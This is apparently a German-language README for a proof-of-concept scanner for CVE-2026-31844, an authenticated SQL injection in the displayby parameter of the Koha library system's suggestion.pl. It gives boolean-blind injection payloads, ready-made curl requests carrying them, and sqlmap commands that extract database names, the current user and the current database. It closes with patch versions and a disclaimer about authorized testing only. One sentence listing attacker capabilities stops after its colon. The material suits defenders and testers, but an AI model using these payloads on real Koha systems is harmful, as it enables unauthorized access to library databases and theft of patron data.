
# Authentifizierter SQL-Injection-Scanner für das Koha-Bibliotheksverwaltungssystem (CVE-2026-31844) Verwendet die boolesche Blindtechnik, um die Schwachstelle zu verifizieren und Daten zu extrahieren.
Dieses Repository enthält einen verantwortungsvollen Proof-of-Concept (PoC) für CVE-2026-31844, eine hochriskante authentifizierte SQL-Injection-Schwachstelle im Koha-Bibliotheksverwaltungssystem.
Die Schwachstelle existiert in der Funktion GetDistinctValues in C4/Search.pm, die vom Skript /cgi-bin/koha/suggestion/suggestion.pl aufgerufen wird. Sie kann über den Parameter displayby ausgenutzt werden.
Der Parameter displayby im Skript suggestion.pl wird verwendet, um einen tabellenqualifizierten Spaltennamen zu konstruieren, der anschließend an die Funktion GetDistinctValues übergeben wird. Diese Funktion bettet jedoch direkt sowohl den Tabellennamen als auch den Spaltennamen in eine rohe SQL-Abfrage ein, ohne eine Eingabevalidierung oder Parametrisierung durchzuführen.
Infolgedessen kann ein Angreifer den Parameter displayby manipulieren, um bösartigen SQL-Code in die Abfrage einzuschleusen. Da die Eingabe nicht bereinigt wird, bevor sie in die SQL-Anweisung aufgenommen wird, führt dieses Verhalten zu einer SQL-Injection-Schwachstelle, die es einem Angreifer ermöglichen kann, beliebige Boolean-Based-Blind-SQL-Befehle auf der Datenbank auszuführen.
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
Der Scanner verwendet eine Boolean-Based-Blind-Technik, um die Schwachstelle zu verifizieren
Durch das Injizieren von Bedingungsanweisungen in die Spaltennamenposition können wir unterschiedliche HTTP-Antworten beobachten:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Subquery-Fehler → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Gültige Abfrage → HTTP 200Wenn das Ziel für die wahre Bedingung eine 500 und für die falsche Bedingung eine 200 zurückgibt, ist die Schwachstelle bestätigt.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
Sie müssen gültige Anmeldedaten für ein Koha-Mitarbeiterkonto mit der Berechtigung suggestions bereitstellen.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
Für Ziele mit selbstsignierten SSL-Zertifikaten:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
Sie können die Schwachstelle manuell über curl verifizieren. Authentifizieren Sie sich zunächst an der Koha-Mitarbeiteroberfläche und erfassen Sie Ihr CGISESSID-Cookie.
Wahre Bedingung (gibt HTTP 500 zurück):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
Falsche Bedingung (gibt HTTP 200 zurück):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap unterstützt nativ boolean-basierte Blind-Injection. Um die Datenextraktion zu automatisieren, speichern Sie eine gültige authentifizierte HTTP-Anfrage in request.txt. Halten Sie die csrf_token- und CGISESSID-Cookies gültig.
Beispiel request.txt:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Führen Sie SQLMap mit der Boolean-Technik (--technique=B) aus:
# Grundlegende Datenbankextraktion
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# Aktuellen Benutzer extrahieren
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
Oder führen Sie es direkt über die Befehlszeile aus:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
Nach einiger Zeit wird sqlmap das korrekte Payload identifizieren.
Wenn diese Schwachstelle nicht gepatcht wird, ermöglicht sie einem authentifizierten Angreifer:
Aktualisieren Sie auf Koha-Version 24.11.12, 25.05.07, 25.11.01 oder 26.05.00 (oder neuer), die einen Fix für diese Schwachstelle enthält.
Raximov Shukrulloh (Mothra)
Telegram-Bot @MothraContact_bot
Dieser Proof of Concept wird ausschließlich zu Bildungs- und Verteidigungszwecken bereitgestellt. Holen Sie immer die entsprechende Genehmigung ein, bevor Sie ein System auf Schwachstellen testen.
Der Autor ist nicht für jeglichen Missbrauch dieser Informationen verantwortlich. Dieser Proof of Concept sollte nur auf Systemen verwendet werden, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.